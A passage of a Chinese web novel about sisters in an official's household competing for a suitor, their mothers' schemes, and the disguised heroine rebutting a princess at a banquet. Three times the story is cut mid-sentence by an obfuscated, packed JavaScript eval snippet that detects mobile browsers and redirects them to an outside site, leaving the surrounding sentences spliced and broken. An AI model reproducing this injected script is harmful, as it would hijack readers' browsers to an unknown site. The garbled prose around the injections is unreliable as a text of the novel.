因男人都看得出来,李婉玉虽不太会打扮、有些笨拙,且看得出来在家也不受宠,确实不是个联姻的好对象。 但是她却真的生的一副极好的皮囊,清艳绝伦,哪怕平素有些畏畏缩缩,美貌大打折扣,却依然还是不输给美艳的婉蓉。 赵二郎也是个年爱慕艾的年轻人,他条件好,想说亲,那满京师都是好人家。 但是他一直对李家几个姑娘很好,其一乃是因为父亲与李珺私交甚笃,二人同为王相一脉,一直互相扶持,其二乃是因为李珺身为大儒关怀远的女婿,在朝野之中的情面与一般官宦完全不同,虽目前还在从五品,但是身在吏部考功司这种关键位置,且年纪比赵二郎的父亲年轻十余岁,未来前程说不好不比赵大人差。 因为其间种种原因,所以两家早默认有联姻之意。 因此赵二郎来李家,才能被李珺郑重招待,还能进入内院,被当成半个自己人。 这件事情全家上下,只怕只有李婉玉还不知道,赵二郎自己自然是知道的清清楚楚,甚至赵二郎理智上还知道得十分清楚,以他的身份,若是正妻人选,非继室大娘子所出的婉淑不可。 李婉玉虽身份高,但是满京师谁不知道她是个上不得台面的? 至于婉蓉,虽长得漂亮,但是她到底是妾室所出,根基薄了些,论婚配,只怕只能往低处选了。 但是赵二郎心中却有些遗憾,因婉淑是李家三个女儿之中颜色最平庸的一个,虽性子、处世方面都十分通透豁达,为长辈称赞,但是赵二郎到底心中还是有些意不平。 这也是他一直对李家三个姑娘都一样殷勤的原因。 且三个姑娘都喜欢他,这对赵二郎来说也极其骄傲快活,舍不得抛切。 只是婉玉今日对他竟如此不假辞色,谈吐比婉淑甚至都看着开阔许多,气度不凡,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183299|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免让赵二郎心中有了完全不一样的新鲜感。 他心中琢磨着方才婉玉的话,一路出去了,却不晓得在不远处的框景窗里鬼鬼祟祟地钻出一个下人来,左右看了下四下无人,悄无声息地从框景窗里翻出来,一路往二门东院里去了。 而另一边的拐角屏风后头也悄悄走出来一个下人,一面往西院去了。 赵二郎还完全不知道,李家这样小的地方,与他家那种大宅后院完全不同,他自以为隐蔽,但是其实他说的每句话、甚至神态举止都已经在最快的时间被有心人得知了。 东院里,婉淑气得捏紧了帕子,在大娘子眼前掉眼泪。 孙大娘子拿剪子修剪眼前的菊花枝,任婉淑哭到主动止住眼泪,眼前的花瓶插好,才慢声问:“哭好了?” “娘!”婉淑气得眼泪又下来了,连声说,“我今日辛辛苦苦打扮,不如婉蓉就算了,到如今二哥哥竟对李婉玉那个木头疙瘩也比对我好,我还不哭,我什么时候哭啊?!” 说完,婉淑眼泪又不断地掉出来。 孙大娘子叹了口气,转身看着她,说:“淑儿,你看看我,你娘我可是靠着美色拴住了你爹的心?” 婉淑顿时不哭了,有些愣怔地看着自家阿娘,因为她非常清楚,阿娘样貌只算是非常普通,比起自己尚且还差了一些,更别提比后院的崔小娘了。 孙大娘子看着婉淑冷静下来,才点点头,温声说:“可算是能听得进去话了。” 她坐在婉淑的面前,让人都退下,两母女开始说贴心话。 孙大娘子温声说:“西院那个被她娘教的骨头没三两重,我是不担心她的。但是你那个大姐,素日我没放在眼里,这次回来却像是变了个人一般,倒是让我也有些担忧。” 婉淑听阿娘这么说,顿时立刻点头,连声说:“素日二哥哥对我们都是一样的,阿娘,我真的不是眼皮子浅的人,但是今日下人都说二哥哥神色与往日不一样,像是心里真起了心思了,娘,我担心……” “才一会儿两会儿的,出不了事。”孙大娘子倒是镇定,先安慰女儿,“别因为一点点事情就乱了方寸,到时候嫁出去怎么当家?若是遇到西院那样的,你这个性子怎么笼络夫君,怎么经营好自己的日子?万事一定不要先自乱阵脚。” 说完,看婉淑用帕子擦干净脸,孙大娘子才点头,温声说:“不错,任何时候,都要轻、慢,要胸有成竹。” 婉淑依言抬头挺胸,恢复端庄之色,只是眼睛还是红红的,还有些泪水。她恢复好仪态,吸吸鼻子,带着鼻音问孙大娘子:“阿娘,那到底怎么办啊?难道眼看着二哥哥喜欢上她?” “无需担心,你们这个年纪,是该议亲了……你姐姐这样子,也很该给她找个合适的好人家才是。”孙大娘子倒是早在婉淑哭的时候就把事情想清楚了,她笑着摸着婉淑的头,说,“把你大姐姐嫁出去,你才好开始议亲。” 婉淑瞬间就懂了阿娘的意思,眼前一亮,说:“对啊!给大姐姐找个其他人家先嫁人,二哥哥自然不会惦记啦!” 说完她开心地抱住孙大娘子,连声说:“阿娘你真好!” 孙大娘子笑着反手抱住婉淑,摸了摸她的头发,轻声说:“你放心,该是你的,谁都抢不走。” 就像她当年,其实李珺续弦选择可不少,但是最终能落在她一个借住在舅母家的县丞之女身上,靠的从来也不是美色或是拉拢男人,而是让长辈们最后觉得选她最为合适。 在此之前,只需要把其他条件更好的人排除出去就好。 她的女儿,一定能得偿所愿,且必须得偿所愿。 第二十四章 共谋 东院的婉淑与孙大娘子在说自己的打算,西院里,婉蓉听丫鬟说完,也气得把方才还在嘚瑟的缠花木芙蓉丢在地上。 崔小娘看婉蓉那样子,忍不住啐了一口,说:“你看看你那样子,在这儿发火有什么用?你要想办法让赵二郎心里有你才成!” “二哥哥本就更喜欢我一点,今日定然是贪图新鲜!”婉蓉气哼哼地嘴硬,说完又露出忧虑之色,担心地说,“阿娘,大姐姐确实漂亮,她如今还硬气起来了,又会打扮了,不会真的叫她把二哥哥的心勾去了吧?!” “那怎么的,她日后越来越会打扮,嘴巴也利索了,你便舍了你二哥哥不要可好?”崔小娘看她那个样子,恨铁不成钢地戳她的脑袋,说,“看你那没出息的样儿!” “小娘!”婉蓉不依地低声唤崔小娘,然后又说,“那还能如何啊,我总不能拴着二哥哥不许他与大姐姐说话吧?!” “你稍微看到婉玉漂亮一点点就怕了?”崔小娘听她这么说,愈发觉得她不争气,冷笑一声,说,“那当年的关大娘子何等美貌、何等气度,你若是看到,岂不是恨不得当场就自己了断了?!” 婉蓉一愣,不可置信地说:“小娘你说什么?当年关大娘子比你漂亮?不可能吧!” 不怪婉蓉不敢相信,男人都讲究娶妻娶贤、纳妾纳色,且婉蓉自己也知道,她生下来的日子与大姐只差了一个多月,算起来应当是大娘子才有孕,父亲就纳了自家小娘,按道理来说,男人能纳妾纳的那么急,为的不就是因为对正妻不满意,不够喜欢? 且自家小娘其后十几年盛宠,婉蓉是亲眼看着父亲这些年对自家小娘如何宠爱,不但院子自己做主,父亲还给了小娘庄子与小铺面,日子比一般官宦的正头娘子还风光阔绰。 婉蓉一直都觉得,这一切都是因为小娘貌美的关系,甚至她自小内心是有些看不上孙大娘子这样的主母的。 孙大娘子那样当了大娘子又如何?还不如她小娘被人疼爱好呢! 女人只要足够漂亮,得家里主君喜欢,自然钱财地位都有了,这就是婉蓉一贯的认知。 此刻听小娘说关大娘子美貌又有气度,婉蓉实在是不敢置信。 “怎么不可能,你看看你大姐姐今日的气度……我这么跟你说罢,也最多只有当日关大娘子七分风采。”崔小娘神色露出一丝微微的忌惮,似乎回忆起了当年艰难岁月,她屏退下人,才细细教导起女儿来。 “你可知当初大娘子嫁进门,我才看了一眼,回去哭了一夜?”崔小娘轻声说,言语里带着点余悸,她说,“我当初与你爹爹已经定情,你爹爹还说,他日议亲也不会忘记我,一定会在娶妻之后给我个名分。” 当年的崔妙人自恃美貌,心中觉得来个什么样的人物,她有美貌,又有和少爷青梅竹马的情谊,她一点也不曾怀疑过少爷的话一定会实现。 可是只看到关娘子的一眼,崔妙人就心中涌现出巨大的恐惧来。 她当时心中只有一个念头——少爷怕是要违背承诺了。 因为关娘子不但美貌胜过她,而且通身气度优雅高贵,嫁妆丰厚、家中得力……这样一位完美的贤妻在侧,彷如皓月当空一般。 在月亮之侧,哪怕她崔妙人颇有点姿色,可星星怎能与皓月争辉? 因此当时崔妙人是极度绝望的。 婉蓉是第一次听小娘说起当**情,她完全无法想象关娘子到底是多漂亮,才能过了十几年,还让自家养尊处优的小娘露出这副忌惮表情。 但是她仔细想一下大姐姐的脸,突然又能理解小娘的话。 大姐姐以前性子畏畏缩缩,因此好容貌也糟蹋几分,没什么派头,可是这次回来之后,仪态端方、谈吐有度,不用打扮也如拂去尘土的明珠一般,自然而然爆发出光彩来。 婉蓉想到今日家宴里,大姐姐虽简单常服,但是却不输给自己,若是真正上心装扮,只怕自己也有些担心被抢走风采。 而母亲所说的关大娘子,若是比大姐姐还好,那岂不是仙女下凡了。 “那怎么……怎么……”婉蓉听到自己呐呐地问小娘,完全不可置信。 “我当日也觉得没有出头之日了,但是偏巧我很快得知了老夫人的心事。”崔小娘轻声说起当年阴私,说,“我发现关大娘子美貌、家世都是世上一等一的,但是她这人心胸阔达……却没发现老夫人心中对她妒恨。” 婉蓉一惊。 在婉蓉心中,祖母一直是慈爱的老太太,平日里对她也极好,她完全想不到老太太居然还会妒恨自己的儿媳妇。 其实当初崔小娘也没想到,因李家能娶到三品大员唯一嫡女,又是千金陪嫁,换成平常人家只怕恨不得供着。 但是老夫人常年守着一点家业养大唯一嫡子,眼见着二人恩爱和睦,却心中越来越不顺气。 不但如此,老夫人这辈子都没见过那么多珍贵的东西,所以总爱找儿媳索要。 而关大娘子性情豁达,并不在意这些身外之物,因此大多数时候,老夫人开口都会给,但是一些名贵首饰,却因为据说许多是亡母遗物、或是关老先生当年为她出嫁时亲手打造,意义非凡,因此并不愿意。 但关娘子的壕奢供养,却并没有让老夫人满足。 相反,老夫人却胃口越来越大,后来甚至在关大娘子进门一年后查出身孕时,竟然直接要求关大娘子把所有嫁妆都给她打理。 此事实在是贪婪过度,匪夷所思,别说是关家陪房下人,哪怕是自小伺候老夫人的崔小娘,都觉得老夫人的要求离奇至极。 关娘子自然没答应,但是老夫人却怀恨在心,仗着大娘子有孕,立刻给崔小娘开了脸,做主给她提拔成了姨娘。 “关大娘子进门之后,你爹就像是忘了我一般,一年多与我从未亲近,当日誓约显然也不愿再提起……”崔小娘感慨地说,“若是你是我,当时是不是就要放弃了?” 她看着震惊的婉蓉,握着女儿的手低声说:“但是阿娘我没有放弃,我天天好好服侍老夫人,我跟老夫人说在少爷屋里又发现了什么好东西,我还跟老夫人时时说关大娘子身上穿戴到底如何珍贵……等我被提拔开脸之后,你爹担心关娘子难受,不许全家张扬,我也不在意,只慢慢用旧情拉回你爹的心,直到我肚子有了你,我才把消息传出去,而关大娘子这时候才知道了我这个人,她性子直率、爱恨分明,直接丢下一大家子,去了庄子上养胎,对你爹闭门不见不说,还写了和离书与你爹……” 她看着听着往日故事惊呆的婉蓉,温柔妩媚都褪去,眼里闪烁着寒锐精明的厉光。她握住婉蓉的手,压低声音说:“婉蓉,你长大了,你要知道,世间能做倚仗的良人本就少,就算有美貌也不够,一定要学会争!只有去争、去抢,才能过上好日子!你要做最懂他的人、最体谅他的人,然后找准让他在意的女人的破绽,伺机而动,把她们拉下来,你就赢了!” 婉蓉猛不丁听到这么多,满脑子都十分混乱,她茫然地回握住崔小娘的手,心乱如麻地问:“可是我能用什么,小娘,我不知道啊!二哥哥若是喜欢大姐姐,我总不能去给他做小吧?” 这一句话气得崔小娘差点没一巴掌拍死她! 崔小娘身上精明之气瞬间溃散,气得胸脯起伏半晌,才一巴掌拍在婉蓉的脑袋上,怒声说:“你这句话得亏是在我这里说,若是在外头说,你爹晚上都能把你掐死,免得你有辱门楣!” 说完崔小娘又指着婉蓉压低声音警告:“你若是胡说就算了,但是你若是心里但凡有一丝这样的想法,都赶紧给我收干净!听到没有?否则不等你爹,我亲手一条白绫把你勒死,也免得连累你弟弟一世不能抬头做人!” 婉蓉吓了一跳,埋怨地说:“小娘,我只是私下跟你说罢了!你这是做什么啊?!” 崔小娘这才放下心来,狠狠地看着她说:“这话能是浑说的吗!你不知道你爹那个性子,恨不得一世当个清白人物,若家里出个给人做小的女儿,他只怕连我都要赶出去!” “哎呀,小娘,是我胡说了!我就是心里担心,二哥哥若是喜欢大姐姐,那我又能怎么办不是?”婉蓉立刻上前抱着小娘撒娇,连声问,“小娘,你是不是心里头有主意了?求求小娘,你就教教我罢!” 到底是自己亲生女儿,崔妙人很快被哄好,戳了一下婉蓉的脑袋说:“你动动你的脑子,只有你怕赵二郎喜欢上你大姐姐吗?对面院子里那两个,现在只怕比我们着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183300|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急呢!” 婉蓉这才恍然大悟,但是她哼了一声,说:“二哥哥不喜欢婉淑,她们自己也知道,怎么会愿意出手?只怕巴不得大姐姐与我争呢!” “你二哥哥喜不喜欢不重要,她们就觉得自己出身好,赵家定然中意她们。”崔妙人有些鄙夷地说,“你且看着,看她们想的什么办法,我们跟着帮忙便是。” 婉蓉听小娘说得头头是道,大喜之下,立刻点头答应下来,抱着小娘的胳膊濡慕地说:“小娘你真好!我就知道还是小娘最厉害了!” 婉蓉那边被哄好,自是喜不自胜,却没发现自家小娘眼底闪过的锐利之色。 等到把婉蓉送回屋里之后,崔妙人便问:“去,打发人去问问,老夫人睡了没。” 一会子下人来回话,说老夫人还没睡,崔妙人便立刻起身,带着人自去了老夫人屋里。 到了屋里,丫鬟刚想招呼,崔妙人做了个噤声的动作,让正给老夫人捏脚的丫鬟让开,亲自上前挽起袖子,便给老夫人捏了起来。 正闭着眼睛享受的老夫人察觉到手法不一样,便睁开眼睛,一看是崔小娘,便忍不住露出了一个慈爱的笑容,说:“妙人,这些事情交给下人做便是了,何必自己劳累。” “孝顺长辈,怎能算是劳累呢?”崔妙人扬起一个笑来,一边娴熟地为老夫人捏脚,一边温声说,“再说了,我自小伺候您,谁能有我知道怎么让您舒服?” 老夫人便立刻露出受用的表情来,闭着眼睛舒服地躺下,轻声说:“确实,妙人你这手法,竟是谁都比不过。” 崔妙人便笑起来,给老夫人按了一会子,已经额上微微见了汗水。 到这个时候,老夫人才说:“好了,妙人你给我这么一按,我只觉得全身都舒畅了。” 说完下人便断水给崔妙人净手,崔妙人拿香胰子洗了手,便又过去,给老夫人慢慢地按肩颈。 这时候,崔妙人才轻声说:“老祖宗,蓉儿方才跟我在屋里哭呢。” 老夫人一听,立刻便问:“怎么了,蓉姐儿受什么委屈了?” 崔妙人便把赵二郎拦着关怀素说话的事情说了,又轻声说:“蓉儿她就是小孩子性子,只说二哥哥不喜欢她了,嗐,真真是没长大的。叫我说,还是老祖宗自小太宠她了,都快及笄的人了,还是一团孩子气,叫人好气又好笑……” 她这话说得轻描淡写,老夫人却神色冷下来,皱眉问崔小娘:“赵二郎是真对玉丫头动心思了还是?” “瞧着是有三分心思。”崔妙人垂下眼眸,叫人看不出心思,手上动作一丝也不停歇,只轻声说,“大姑娘在庄子上过了半年,如今瞧着确实长进很多,不但气色养得好,还长开了,瞧着确实漂亮,难得说话谈吐也是厉害许多。还有三月余,等到大姑娘及笄之后,只怕说婚事的人要踏破门槛了。” 老夫人便皱眉,说:“可不能叫她嫁赵家。万一给赵家人教得硬气了,没得叫她翻出许多事情来找麻烦。” “老祖宗的顾虑,妙人知道,确实不能叫大姑娘嫁到赵家,否则追究起她娘的嫁妆,再想想之前的许多事情,别到时候没成助力,反倒成了家里的仇人。”崔妙人立刻乖巧地说,而后做出苦恼之色,说:“就是上回没成事,反倒是折损了好些人,连您的陪嫁都折进去了,还折了一个庄子,实在是可惜了。” “那些不争气的。”老夫人生气地说完,而后放缓了语气,说,“妙人,你这做娘的也该支应起来,该怎么办的,自去办就是。” 崔小娘闻言,假作为难,说:“如今在家里,实在是不知如何下手。” “那也得办。”老夫人说完,放缓了语气说:“你想想蓉姐儿和文哥儿,我已经是这个岁数的人了,如今筹谋,到底是为了谁?” 崔小娘听到这里,知道再推诿就要失了老夫人的心了,便立刻点头,做出感佩之色看着老夫人说:“老祖宗疼文哥儿和蓉姐儿,妙人是知道的。世上真真是再找不到比您更慈爱的长辈了,老祖宗放心,妙人一定好好想法儿。” 老夫人等的就是这句话,闻言慈爱地拍拍崔妙人的手,温声说:“你只管放手去办,有我替你打点着呢。” 两人这便达成了一致。 第二十五章 赴宴 关怀素对各房的筹谋一概不知,她正听丁妈妈说起赵二郎的来历呢。 “姑娘,我出去与婆子们吃酒问了一圈,这赵二郎可不得了。”丁妈妈兴奋地说,“他爹是太子宾客,自个儿还是太子爷的伴读!” 太子宾客,掌太子府礼仪文书,正经的三品,这便是当今给太子安排的他日重臣之一。 这样的身世,加上样貌还算俊秀,难怪婉蓉与婉淑如此趋之若鹜。 “姑娘,这确实是个上上等的好人家。”丁妈妈都忍不住眼热,轻声说,“便是姑娘这样的身份,才算是最相配的呢。” 关怀素却看得清楚,她笑着喝茶,说:“错了,这等好人家,东院西院都要抢破头,日后咱们见了可要躲着点。” 丁妈妈疑惑不解,柳叶便把当日福宁郡主斥责大姑娘,此人视而不见的事情说了。 丁妈妈闻言,登时觉得晦气,啐了两口,又闲话几句,众人便都就寝。 素心居的人都当赵二郎这事儿便到此为止,却没想到东西两院已经有了打算。 第二天一早,关怀素去老夫人处请安,才坐下来一会儿,孙大娘子突然就说起来,说是后日赵家夫人做秋菊宴。 “家里的姑娘们也大了,得多走动一下。”孙大娘子笑着说完,又特地叮嘱关怀素:“婉玉到时候可稍微打扮鲜亮些,一个女儿家,总不好出门还如此素净。” 家里三个女儿,却独独叮嘱她,关怀素心中有些猜测,面上只落落大方地笑着行礼,答应下来。 倒是婉淑藏不住表情,关怀素分明看到了她脸上隐约的得意之色一闪而过。 关怀素心中了然,后日的这个宴会,只怕是有什么事情在等着她。 真有趣,她刚到李家,还没开始查姐姐的死因,竟就有人坐不住,想开始算计姐姐了。 这李家后宅,还真是个个都有自己的心思啊。 消停了一日,关怀素安安静静地整理了一天姐姐的书房,隔日一大早,孙大娘子就派遣了婆子来通知,让关怀素今日不必请安,只管好好准备赴宴。 “姑娘,这大娘子怎么一再叮嘱你要打扮?”丁妈妈忍不住悄声狐疑地说,“她何时这么关心姑娘了?” 关怀素看衣架上挂着的衣裙,笑着随口说出自己的猜测:“我刚及笄,如此一再叮嘱我打扮,想来不外乎是亲事。” 柳叶大急,担忧地说:“姑娘,大娘子不会想撮合你和赵二郎罢?他可配不上您!” 关怀素听她这么说,忍不住笑出声来,她看着柳叶说:“你啊,也就你们觉得赵二郎配不上我,人家心里想的是我配不上赵二郎!今日定然是看中别的人家,只想打发我出去,别挡了人家嫁高门呢!” 不得不说,若孙大娘子真是这么想,那她还真是个厉害人物。 因这计策实在是十分简单,却十分有效。 因这几年风气与先皇在时愈发不一样了。 先皇在时,女子可以与男子一起把臂同游、骑马打球,畅快逍遥,如今这些年,当今继位后愈发崇尚父为子纲、夫为妻纲,武官倒是与先皇在时差不多,但是文官一脉则风气大变,家中子女在此规矩下,自然不可自己过问自己的婚姻大事,一切得仰赖父母安排。 尤其是父亲李珺乃是崇儒的王相一脉,更是把男女大防等等人伦纲常看得极重。 如果是姐姐还在,这会子被说了亲事,自然就只能遵从父母之命,就挡不到婉蓉和婉淑的婚事了。 “什么?”柳叶顿时急了,她可是打算跟着姑娘回永年县的,而且谁要那个不怀好意的大娘子给安排的人,肯定不是什么好东西! 柳叶着急地说,“不然姑娘,我们往丑了打扮算了!这样人家看不上,自然没事儿了!” 关怀素却已经选好了裙子,她笑着摇摇头,对柳叶说,“宴会之中可不只是相看的人家,还不知道赵家夫人宴会具体邀请了多少人,随意自污可不是好事。” “那怎么办?”柳叶着急地问。 “兵来将挡水来土掩,不管家里人怎么想,我保管让她们算计成空就是。”关怀素笑了笑,轻声说。 柳叶一听,登时放心下来,她和关怀素一起长大,最知道自家姑娘的本事,既然敢这么说,姑娘定然心里有数。 放下心来,柳叶看衣服也换好,便兴致勃勃地说:“姑娘要梳什么头发?要不咱们扎个飞仙髻,好好压一压隔壁两个的风头!” 关怀素果断拒绝了柳叶想艳压群芳的要求,只让柳叶规规矩矩地梳了个元宝髻,然后戴了孙大娘子给的鎏金镶红宝石发冠。 虽然明眼人看得出来是鎏金,但是却也依旧看着明丽富贵,因打扮已经足够惹眼,关怀素就只稍微擦了点香粉,描了远山眉,又在唇上稍微点了一点口脂,就算是打扮停当了。 打扮好,便要去大娘子处,一起等着赴宴。 一去才发现好生热闹。 不光是婉蓉婉淑都在,父亲和两个弟弟也在。 关怀素一进门,众人见她难得一身鲜亮,愈发衬的娉娉婷婷,明丽动人,顿时齐齐一愣。 “大姐姐平素不太打扮,今儿看着真漂亮。”二弟辰瑜看到关怀素,居然开口夸赞起来。 关怀素知道辰瑜为何如此,因为上首婉蓉穿着紫红缎绣花裙,戴着金簪,装扮比昨日家宴还精致几分,把旁边精心装扮的婉淑压得黯淡无光。 姐姐不如庶出的二姐,辰瑜自己也被大哥辰文完全盖过风采,这正房两姐弟被小娘屋里都压了一头,表面上不说,心里定然不愉。 因此看到关怀素来了,辰瑜才立刻大力夸赞起来,倒不是真的与关怀素示好,不过是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183301|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借着东风压西风罢了。 关怀素看得分明,因此并不显得局促或是受宠若惊,只是笑着行礼之后才说:“哪里抵得上两位妹妹,一个富贵端庄、一个明艳动人呢。” 她才不要做那个中间人,夹在这两房斗气。 果然关怀素这么一夸,原本有些忌惮她的婉蓉神色一松,显然是觉得关怀素这个小马屁拍得十分舒坦,又自觉关怀素这是不敢与她争锋的意思,立刻哼了一声,得意地露出笑容。 那边婉淑本来为不如两个姐姐而不舒服,如今听到关怀素这么说,仿佛是在示弱,加上她想起来,今儿大姐姐打扮的漂亮才好,毕竟按照母亲的计划,大姐姐今儿相看得好,早点定亲,她和二哥哥的事儿才能少一个绊脚石。 想到这里,婉淑也是神色松快下来。 众人心思各异,一起笑着出门。 上了马车,关怀素自小是习惯出门的,但是婉蓉与婉淑显然十分兴奋,婉淑还端着架子,只稍稍看看,婉蓉却悄悄掀开了马车上的挡风帘,一路看个不停。 关怀素也顺着半开的帘子看京师风光,不得不说,京师繁华至极,这一路过来,哪怕冬霜已起,但是街道上行人不减,而且大多都穿着厚实,愈发显现出一片盛世气象。 车子穿过长安大街,马车缓行,小半个时辰之后,才到了赵家。 赵家房屋宽阔,假山流水、亭台楼阁俱备,院子里绿木葱葱,花朵鲜艳,关怀素在李家那屋子里大门不出二门不迈地关了几天,猛地看到这样的园子,都觉得身心一畅。 其他人显然也十分受用,纷纷带上了笑容。 今儿赏花宴是赵夫人做东,孙大娘子进门就带着家里三个女儿去给赵夫人问安。 关怀素跟着一起进了待客的正屋,一进屋就觉得浑身一暖,再一看,才不到十月,这屋里居然就烧了炭盆。 满屋子的女眷,都脱了披风,笑意盈盈地坐在屋里,正与赵夫人说话。 关怀素还以为这是个小聚会,没想到这个聚会竟如此大排场,她眼看身边孙大娘子也有些惊讶的样子,知道孙大娘子也事前不知。 但是关怀素很快就知道为何了,因她看到赵夫人坐在陪客位置,上首却坐着一个笑意盈盈的姑娘,看着尖脸桃花眼,长得颇为漂亮,主要是一身衣衫璀璨富贵,竟然是一身霞光灿烂的蜀锦裙与团绣百花图案红大袖,头上是赤**冠。 一寸蜀锦一寸金,这姑娘看着年轻,但是如此打扮、满屋子女眷她能坐在上首,关怀素瞬间明白这姑娘绝对不是普通人。 “李家姐姐,上次一别,半年未见了。”那姑娘看到关怀素,露出了一个笑容来,当先开口,“怎么,姐姐见到我了都不打招呼?” 关怀素倒是想打招呼,但是她不是姐姐李婉玉,她根本不认识面前的姑娘啊! 第二十六章 诘问 关怀素不认识人,却也不着急,只学着姐姐的神态,微微有些瑟缩地低头,果然孙大娘子怕她出丑,立刻上前一步请安:“福宁郡主安康,见过郡主。” 关怀素瞬间就明白了眼前这个姑娘的身份,也立刻跟着蹲身行礼问安。 只是两人请安完毕,福宁郡主却一直不叫起。 关怀素身强体健,一点也不怕,只一直稳稳地保持行礼的姿势,连衣角都不曾挪动半分。 听着茶盏的声音,关怀素知道福宁郡主故意借着喝茶在给她下马威,只是她不明白,福宁郡主为什么会对姐姐有如此大的敌意。 两人身份差距太大不说,关怀素知道姐姐的性格,能被丫鬟下人欺负的人,怎么敢得罪高高在上的福宁郡主? 可是福宁郡主今儿如此表现,明明就是在拿捏姐姐,二人身份云泥之别,为何福宁郡主会对姐姐有敌意? 难道就因为姐姐在她的宴会上跌在太子面前,让她觉得姐姐在自己的宴会上耍心机,于是记恨了? 可是这不合理。 先不说姐姐跌倒在太子面前是意外,就说哪怕是真的想攀附太子,那上一次已经当众让姐姐丢人,又在庄子上差点丢了性命,这惩罚已经非常严厉,郡主无论如何也该消气了。 可看福宁郡主今日的样子,却似乎到今日还在记恨。 这实在是太过离奇,关怀素不明白,不过她气度悠闲,行礼姿势一动不动,心中琢磨,面上却神色坦荡,早已经让在座的各位夫人都微微露出惊讶之色。 要知道行礼虽简单,但是福宁郡主慢吞吞地拨茶盏再喝茶的功夫,已经足够让人觉得身体酸麻了,起码旁边一贯被人称赞礼仪好的孙大娘子都已经露出了微微的疲累之色。 尤其是礼仪学得最敷衍的婉蓉,到这个时候,已经微微有些颤抖。 “哎呀,怎么不起来?”福宁郡主见此,大约是发现了今儿继续下去,估计看不到关怀素出丑,倒是要看到李婉蓉出丑了,因此她喝完茶,放下茶盏之后,做出一幅惊愕之色,说,“怎么如此客气,不知道还以为本郡主在刁难你们。” 这话孙大娘子和关怀素她们都不敢接,旁边倒是有知机的妇人笑了笑,说了几句俏皮话,让气氛稍微轻松了一些。 本来一片和乐,但是福宁郡主却偏偏不肯放过关怀素,看着行礼完打算离开的关怀素突然又说:“李家姐姐,这次走路可小心点,太子哥哥一会儿也会来花园,你可别又不小心摔在太子哥哥的脚下。” 这话说得皮笑肉不笑的,关怀素心中一凛,立刻知道绝不能忍下此事! 今日宴会盛大,京师里有头脸的官眷都在这里,此时正是洗去姐姐攀龙附凤之心的最好时机! 且对福宁郡主对姐姐如此赶尽杀绝,关怀素也怒气上涌。 关怀素冷下脸,站直身子,猛地直视福宁郡主,高声问:“郡主此言何意?请恕婉玉之罪,婉玉没听明白郡主的意思。” 福宁郡主一愣,她没想到一贯懦弱和自己说话都会发抖的李婉玉,居然敢如此大胆对她发问。 福宁郡主内心升起恼怒之意,看着关怀素,冷笑一声说:“我说的是什么意思,李婉玉你不明白?也罢,我今日就说清楚,不管你是什么心思,我都劝你歇了,太子哥哥可不是你能肖想的!” “郡主为何会误认为我肖想太子?”关怀素听完,并不羞耻,在满座震惊之中挺直腰杆,只脸上微微诧异地问,“难道郡主认为,当日我在郡主家中跌倒,竟然是故意的?” 福宁郡主不说话,只满脸怒意,一脸“难道不是如此?”的意思。 关怀素点点头,说:“原来如此,那郡主可曾想过,您府中禁卫森严,从花园出来,应有无数看守下人,客人若是走错,定然也能被指明道路,好好带回内院……那么我当日若不是有郡主您身边的丫鬟带领,是如何走到外头夹道里去的呢?难道是我潜伏于途中,躲过兵丁巡逻、婆子丫鬟的眼线,而后从看门婆子眼皮子底下溜出院门,然后又那么厉害早早知道太子会突然造访,还埋伏于夹道处,只等着人来了就跌出去?” 关怀素其实并不知道郡主府上是否如此,但是她曾与祖父一起拜访前朝致仕的豪族,知道高门大户大多守卫森严,与一般人家决然不同。 关怀素一点也不为自己分辩,只从最根本去抓漏洞,果然让福宁郡主露出了迟疑之色。 “既是如此,你当日为何不说?”福宁郡主听她说的头头是道,也想起来自己的内院之中,确实不可能让一个客人随意出入,如今想起来,这件事情确实从头到尾都透着荒谬,但是她到底不能介怀,因此追问关怀素。 关怀素万万没想到,福宁郡主居然能趁着这个机会,给她递这么大一个梯子——她正想趁着出门交际的机会,把姐姐这些年的遭遇宣扬一番! “往日我在家中,祖母一再教导要与人为善,但凡身边仆婢做错事情,哪怕是偷走我的衣裙首饰,祖母也一再叮嘱不可责罚,要想着下人生活不易,主子定要仁善体贴、以德报怨才是……因此当日我担心郡主责备带路丫鬟,又忧心我斤斤计较,反倒显得我不宽和。”关怀素说这段话的时候语速极快,她不用看就知道,身边的孙大娘子脸色一定很精彩。 毕竟她虽然只说了祖母,但是明眼人谁听不出来此事荒诞至极,且家中其他长辈绝对脱不了干系!首当其冲就是孙大娘子这个继室! 此事干系后宅阴私,全场的贵妇人果然都露出了好奇且兴奋的神色。 